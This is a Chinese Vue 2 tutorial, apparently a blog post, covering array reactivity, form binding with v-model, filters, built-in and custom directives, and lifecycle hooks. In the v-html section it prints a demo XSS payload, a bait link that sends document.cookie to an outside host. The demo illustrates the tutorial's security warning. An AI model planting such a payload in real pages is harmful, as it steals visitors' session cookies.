<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理_数组</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h1>学校信息</h1> <h2>学校名称：{{school.name}}</h2> <h2>学校地址：{{school.address}}</h2> <h2>校长是：{{school.leader}}</h2> <hr/> <h1>学生信息</h1> <button @click="addSex">添加一个性别属性，默认值是男</button> <h2>姓名：{{student.name}}</h2> <h2 v-if="student.sex">性别：{{student.sex}}</h2> <h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2> <h2>爱好</h2> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h2>朋友们</h2> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ school:{ name:'Tom', address:'北京', }, student:{ name:'tom', age:{ rAge:40, sAge:29, }, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, methods: { addSex(){ // Vue.set(this.student,'sex','男') this.$set(this.student,'sex','男') } } }) </script> </html>
Vue 认修改数组的方法 (7个操作数组的方法)
Vue 调用的这些方法都被包装过，所以可以监测到数据的变化
官网解释：
push 最后的位置新增一个元素
pop 删除最后一个元素
shift 删除第一个元素
unshift 最前面添加一个元素
splice 指定位置插入一个元素，或者删除一个元素，或者替换调一个元素
sort 数组排序
reverse 翻转数组
共同点：可以修改数组，引起数组的改变
filter 不影响原数组，但是还想使用filter 怎么办？
- 把过滤生成的新数组，替换掉原来的数组
同样可以使用Vue.set方法
🚬 6、Vue数据监测总结
总结：
<!-- Vue监视数据的原理： 1. vue会监视data中所有层次的数据。 2. 如何监测对象中的数据？ 通过setter实现监视，且要在new Vue时就传入要监测的数据。 (1).对象中后追加的属性，Vue默认不做响应式处理 (2).如需给后添加的属性做响应式，请使用如下API： Vue.set(target，propertyName/index，value) 或 vm.$set(target，propertyName/index，value) 3. 如何监测数组中的数据？ 通过包裹数组更新元素的方法实现，本质就是做了两件事： (1).调用原生对应的方法对数组进行更新。 (2).重新解析模板，进而更新页面。 4.在Vue修改数组中的某个元素一定要用如下方法： 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse() 2.Vue.set() 或 vm.$set() 特别注意：Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性！！！ -->① 基础
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>总结数据监视</title> <style> button{ margin-top: 10px; } </style> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h1>学生信息</h1> <h3>姓名：{{student.name}}</h3> <h3>年龄：{{student.age}}</h3> <h3 v-if="student.sex">性别：{{student.sex}}</h3> <h3>爱好：</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h3>朋友们：</h3> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ student:{ name:'tom', age:18, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, }) </script> </html>② 练习
<div id="root"> <h1>学生信息</h1> <button @click="student.age++">年龄+1岁</button> <br/> <button @click="addSex">添加性别属性，默认值：男</button> <br/> <button @click="student.sex = '未知' ">修改性别</button> <br/> <button @click="addFriend">在列表首位添加一个朋友</button> <br/> <button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/> <button @click="addHobby">添加一个爱好</button> <br/> <button @click="updateHobby">修改第一个爱好为：开车</button> <br/> <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ .... }, methods: { addSex(){ // Vue.set(this.student,'sex','男') this.$set(this.student,'sex','男') }, addFriend(){ this.student.friends.unshift({name:'jack',age:70}) }, updateFirstFriendName(){ this.student.friends[0].name = '张三' }, addHobby(){ this.student.hobby.push('学习') }, updateHobby(){ // this.student.hobby.splice(0,1,'开车') // Vue.set(this.student.hobby,0,'开车') this.$set(this.student.hobby,0,'开车') }, removeSmoke(){ this.student.hobby = this.student.hobby.filter((h)=>{ return h !== '抽烟' }) } } }) </script>③ 完整
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>总结数据监视</title> <style> button{ margin-top: 10px; } </style> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h1>学生信息</h1> <button @click="student.age++">年龄+1岁</button> <br/> <button @click="addSex">添加性别属性，默认值：男</button> <br/> <button @click="student.sex = '女' ">修改性别</button> <br/> <button @click="addFriend">在列表首位添加一个朋友</button> <br/> <button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/> <button @click="addHobby">添加一个爱好</button> <br/> <button @click="updateHobby">修改第一个爱好为：开车</button> <br/> <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/> <h3>姓名：{{student.name}}</h3> <h3>年龄：{{student.age}}</h3> <h3 v-if="student.sex">性别：{{student.sex}}</h3> <h3>爱好：</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h3>朋友们：</h3> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ student:{ name:'tom', age:18, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, methods: { addSex(){ // Vue.set(this.student,'sex','男') this.$set(this.student,'sex','男') }, addFriend(){ this.student.friends.unshift({name:'jack',age:70}) }, updateFirstFriendName(){ this.student.friends[0].name = '张三' }, addHobby(){ this.student.hobby.push('学习') }, updateHobby(){ // this.student.hobby.splice(0,1,'开车') // Vue.set(this.student.hobby,0,'开车') this.$set(this.student.hobby,0,'开车') }, removeSmoke(){ this.student.hobby = this.student.hobby.filter((h)=>{ return h !== '抽烟' }) } } }) </script> </html>
🚒 15、收集表单数据 v-model
总结：
<!-- 收集表单数据： 若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。 若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。 若：<input type="checkbox"/> 1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值） 2.配置input的value属性: (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值） (2)v-model的初始值是数组，那么收集的的就是value组成的数组 备注：v-model的三个修饰符： lazy：失去焦点再收集数据 number：输入字符串转为有效的数字 trim：输入首尾空格过滤 --><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>收集表单数据</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <form @submit.prevent="demo"> 账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码：<input type="password" v-model="userInfo.password"> <br/><br/> 年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/> 性别： 男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/> 爱好： 学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br/><br/> 所属校区 <select v-model="userInfo.city"> <option value="">请选择地点</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br/><br/> 其他信息： <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/> <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="https://blog.youkuaiyun.com/gh_xiaohe">《用户协议》</a> <button>提交</button> </form> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:18, sex:'female', hobby:[], city:'beijing', other:'', agree:'' } }, methods: { demo(){ // stringify 穿串 console.log(JSON.stringify(this.userInfo)) } } }) </script> </html>拓展：
<form> <!-- 点击账号时，光标就在所对应ipnut框中 --> <label for="demo">账号：</label> <input type="text" id="demo"> </form>
🚤 16、过滤器 filters
总结：
<!-- 过滤器： 定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。 语法： 1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}} 2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名" 备注： 1.过滤器也可以接收额外参数、多个过滤器也可以串联 2.并没有改变原本的数据, 是产生新的对应的数据 -->引入dayjs CDN 解析时间，格式：
dhyjs() // 传入时间戳，转化,不传入就以当前时间为主 .startof('month') // startof 出发,开始 .add(1,'day') .set('year', 2018) .format('YYYY-MM-DD HH:mm:ss')
- 全局过滤器 写在new Vue之前
- 局部过滤器
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>过滤器</title> <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="../js/dayjs.min.js"></script> </head> <body> <div id="root"> <h2>显示格式化后的时间</h2> <!-- 计算属性实现 --> <h3>计算属性实现,现在是：{{fmtTime}}</h3> <!-- methods实现 --> <h3>methods实现,现在是：{{getFmtTime()}}</h3> <!-- 过滤器实现 --> <h3>过滤器实现,现在是：{{time | timeFormater}}</h3> <!-- 过滤器实现（传参）一层一层传递 --> <!-- 多个过滤器之间可以串联 --> <h3>过滤器实现（传参）,现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3> <!-- 过滤器 不仅可以使用在 插值语法中 v-bind 中可以使用 但是使用较少 --> <h3 :x="msg | mySlice">Tom</h3> </div> <div id="root2"> <h2>{{msg | mySlice}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //全局过滤器 Vue.filter('mySlice',function(value){ return value.slice(0,4) }) new Vue({ el:'#root', data:{ time:1658817898000, //时间戳 msg:'你好，Tom' }, computed: { fmtTime(){ // return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') return dayjs().format('YYYY年MM月DD日 HH:mm:ss') } }, methods: { getFmtTime(){ // return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') return dayjs().format('YYYY年MM月DD日 HH:mm:ss') } }, //局部过滤器 只有自己的Vue 实例可以使用 下一个Vue实例不能使用 filters:{ timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){ // console.log('@',value) return dayjs(value).format(str) } } }) new Vue({ el:'#root2', data:{ msg:'hello,world' } }) </script> </html>
🚗 17、内置指令
🚬 常用的内置指令
v-text : 更新元素的 textContent
v-html : 更新元素的 innerHTML
v-if : 如果为 true, 当前标签才会输出到页面
v-else: 如果为 false, 当前标签才会输出到页面
v-show : 通过控制 display 样式来控制显示/隐藏
v-for : 遍历数组/对象
v-on : 绑定事件监听, 一般简写为@
v-bind : 绑定解析表达式, 可以省略 v-bind
v-model : 双向数据绑定
v-cloak : 防止闪现, 与 css 配合: [v-cloak] { display: none }
🚬 v-text指令
总结：
<!-- v-text指令： 1.作用：向其所在的节点中渲染文本内容。 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。 --><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-text指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <div>你好，{{name}}</div> <div v-text="name"></div> <div v-text="str"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom', str:'<h3>你好啊！</h3>' } }) </script> </html>
🚬 v-html指令
总结：
<!-- v-html指令： 1.作用：向指定节点中渲染包含html结构的内容。 持结构的解析，可以展示出标签结构如：<h1> 2.与插值语法的区别： (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意：v-html有安全性问题！！！！ (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。 (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！ --><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-html指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <div>你好，{{name}}</div> <div v-html="str"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom', str:'<h3>你好啊！</h3>', } }) </script> </html>
Cookie的工作原理：
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-html指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <div>你好，{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom', str:'<h3>你好啊！</h3>', // document.cookie 获取当前网站的全部cookie,跳走,并且所有的cookie以参数的形式，传给网站 str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>', } }) </script> </html>
🚬 v-cloak指令
总结：解决闪烁问题
<!-- v-cloak指令（没有值）： 1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。 --><style> [v-cloak]{ display:none; } </style> <div id="root"> <h2 v-cloak>{{name}}</h2> </div><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-cloak指令</title> <style> [v-cloak]{ display:none; } </style> </head> <body> <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </body> <script type="text/javascript"> console.log(1) Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'Tom' } }) </script> </html>
🚬 v-once指令
总结：
<!-- v-once指令： 1.v-once所在节点在初次动态渲染后，就视为静态内容了。 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。 --><div id="root"> <!-- 只进行一次渲染，后变成静态内容 --> <h2 v-once>初始化的n值是:{{n}}</h2> </div><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-once指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2 v-once>初始化的n值是:{{n}}</h2> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script> </html>
🚬 v-pre指令
总结：
<!-- v-pre指令： 1.跳过其所在节点的编译过程。 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。 --><div id="root"> <!-- 给不需要 渲染得数据添加，添加后跳过模板的编译过程，会加快编译过程--> <h2 v-pre>Vue其实很简单</h2>> </div><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>v-pre指令</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2 >当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script> </html>
🚲 18、自定义指令 directives
总结：
<!-- 需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。 需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。 自定义指令总结： 一、定义语法： (1).局部指令： new Vue({ new Vue({ directives:{指令名:配置对象} 或 directives{指令名:回调函数} }) }) (2).全局指令： Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数) 二、配置对象中常用的3个回调： (1).bind：指令与元素成功绑定时调用。 (2).inserted：指令所在元素被插入页面时调用。 (3).update：指令所在模板结构被重新解析时调用。 三、备注： 1.指令定义时不加v-，但使用时要加v-； 2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。 -->
🚬 1、自定义指令-函数式
函数式 属于 对象式 的简写方式 只是写了 bind、update 没有书写 inserted
// 函数式 <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ }, directives:{ big(){ }, } }) </script>需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是：<span v-text="n"></span> </h2> <h2>放大10倍后的n值是：<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ name:'Tom', n:1 }, directives:{ // big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 // element 真实的Dom元素 binding 本次绑定的所有信息 big(element,binding){ // 如何验证 element 是真实Dom元素 // 方式一: console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法 // 方式二: console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true element.innerText = binding.value * 10 }, } }) </script> </html>如何验证 element 是真实Dom元素：
directives:{ // big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 // element 真实的Dom元素 binding 本次绑定的所有信息 big(element,binding){ // 如何验证 element 是真实Dom元素 // 方式一: console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法 // 方式二: console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true }, }
🚬 2、自定义指令-对象式
<script type="text/javascript"> new Vue({ el:'#root', data:{ }, directives:{ fbind:{ // 函数名不能写错 // 指令与元素成功绑定时（一上来） bind(element,binding){ element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element,binding){ element.focus() // focus 获取焦点 }, // 指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } } } }) </script>需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是：<span v-text="n"></span> </h2> <!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> --> <h2>放大10倍后的n值是：<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <input type="text" v-fbind:value="n"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ name:'Tom', n:1 }, directives:{ //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ //big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。 // element 真实的Dom元素 binding 本次绑定的所有信息 big(element,binding){ // 如何验证 element 是真实Dom元素 // 方式一: console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法 // 方式二: console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true console.log('big',this) //注意此处的this是window // console.log('big') element.innerText = binding.value * 10 }, fbind:{ //指令与元素成功绑定时（一上来） bind(element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() // focus 获取焦点 }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } } } }) </script> </html>
🚬 3、注意点
-
此时的this 是 window
-
多个名称一起定义时使用 - ，不是驼峰命名法，如：big-number
-
局部指令 和 全局指令
-
// 定义全局指令 和 过滤器一样 // 对象式 Vue.directive('fbind',{ //指令与元素成功绑定时（一上来） bind(element,binding){ element.value = binding.value }, //指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, //指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } }) // 函数式 Vue.directive('fbind',function(element,binding){ // 如何验证 element 是真实Dom元素 // 方式一: console.dir(element) // 在控制台查看 身上拥有所有真实Dom的属性和方法 // 方式二: console.log(element instanceof HTMLElement) // instanceof 谁是不是谁的实例 控制台 true console.log('big',this) //注意此处的this是window // console.log('big') element.innerText = binding.value * 10 })
-
🚀 19、Vue的生命周期
Vue实例有一个完整的生命周期，也就是从开始创建初始化数据、编译模板、挂载DOM、渲染一更新一渲染、卸载等一系列过程，我们称这是Vue的生命周期。通俗说就是Vue实例从创建到销毁的过程，就是生命周期。
🚬 1、生命周期流程图
🚬 2、vue 生命周期
初始化显示：
- beforeCreate()
- created()
- beforeMount()
- mounted()
更新状态: this.xxx = value
-
beforeUpdate()
-
updated()
销毁 vue 实例: vm.$destory()
-
beforeDestory()
-
destoryed()
🚬 3、常用的生命周期方法
- mounted(): 发送 ajax 请求, 启动定时器等异步任务
- beforeDestory(): 做收尾工作, 如: 清除定时器
🚬 4、引出Vue的生命周期
总结：
<!-- 生命周期： 1.又名：生命周期回调函数、生命周期函数、生命周期钩子。 2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。 3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。 4.生命周期函数中的this指向是vm 或 组件实例对象。 -->① 初始透明度
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>引出生命周期</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <!--opacity 表示css的属性(不透明) opacity 表示数据的名--> <h2 :style="{opacity: opacity}">欢迎学习Vue</h2> <!-- 重名 对象的简写形式--> <h2 :style="{opacity}">欢迎学习Vue</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ opacity:1 }, }) </script> </html>
② 每隔一段时间透明度减少一些
- 方式一：不推荐，逻辑操作，Vue实例，代码层面是割裂开的
- 修改思路：1、vm不收到，2、定时器放在vm里面 见方式二
// 方式一：不推荐，逻辑操作，Vue实例，代码层面是割裂开的 <script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ opacity:1 }, methods: { }, }) // 通过外部的定时器实现（不推荐） // 循环定时器 setInterval(() => { vm.opacity -= 0.01 if(vm.opacity <= 0) vm.opacity = 1 // 在透明度小于等于0时,让其变为1 },16) //16 毫秒 </script>
- 方式二：mounted 钩子函数
<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ opacity:1 }, methods: { }, //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted mounted(){ console.log('mounted',this) setInterval(() => { this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, }) </script>
🚬 5、分析Vue的生命周期
① 基础
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>分析生命周期</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root" :x="n"> <h2 v-text="n"></h2> <h2>当前的n值是：{{n}}</h2> <button @click="add">点我n+1</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 }, methods: { add(){ console.log('add') this.n++ }, }, }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>分析生命周期</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root" :x="n"> <h2 v-text="n"></h2> <h2>当前的n值是：{{n}}</h2> <button @click="add">点我n+1</button> <button @click="bye">点我销毁vm</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', // template:` // <div> // <h2>当前的n值是：{{n}}</h2> // <button @click="add">点我n+1</button> // </div> // `, data:{ n:1 }, methods: { add(){ console.log('add') this.n++ }, bye(){ console.log('bye') this.$destroy() } }, watch:{ n(){ console.log('n变了') } }, beforeCreate() { console.log('beforeCreate') }, created() { console.log('created') }, beforeMount() { console.log('beforeMount') }, mounted() { console.log('mounted') }, beforeUpdate() { console.log('beforeUpdate') }, updated() { console.log('updated') }, beforeDestroy() { console.log('beforeDestroy') }, destroyed() { console.log('destroyed') }, }) </script> </html>生命周期的挂载：
🚭 ① beforeCreate
beforeCreate() { console.log('beforeCreate') console.log(this) debugger; },
🚭 ② created
created() { console.log('created') console.log(this) debugger; },
🚭 ③ beforeMount
beforeMount() { console.log('beforeMount') console.log(this) debugger; },
🚭 ④ mounted
mounted() { console.log('mounted') console.log(this) document.querySelector('h2').innerText = "123" // 验证 el 是不是真实Dom console.log('mounted',this.$el) console.log('mounted',this.$el instanceof HTMLElement) debugger; },
生命周期的更新：
🚭 ⑤ beforeUpdate
beforeUpdate() { console.log('beforeUpdate') console.log(this.n) debugger; },
🚭 ⑥ updated
updated() { console.log('updated') console.log(this.n) debugger; },
🚭 ⑦ beforeDestroy
beforeDestroy() { console.log('beforeDestroy') },
🚭 ⑧ destroyed
destroyed() { console.log('destroyed') },
🚬 Vue生命周期的总结
总结：<!-- 常用的生命周期钩子： 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。 关于销毁Vue实例 1.销毁后借助Vue开发者工具看不到任何信息。 2.销毁后自定义事件会失效，但原生DOM事件依然有效。 3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。 -->有个按钮 透明度停止变化，外部修改时不可以修改
- 清除定时器 的id --可以修改
- vm 都清除 – 定时器需要清除
- 清除定时器 可以放在 beforeDestroy 销毁之前
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>引出生命周期</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2 :style="{opacity}">欢迎学习Vue</h2> <button @click="opacity = 1">透明度设置为1</button> <button @click="stop">点我停止变换</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ opacity:1 }, methods: { stop(){ // clearInterval(this.timer) 清除定时器 this.$destroy() // 清除 vm 实例 } }, //Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted mounted(){ console.log('mounted',this) this.timer = setInterval(() => { console.log('setInterval') this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 },16) }, beforeDestroy() { clearInterval(this.timer) console.log('vm即将驾鹤西游了') }, }) </script> </html>
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
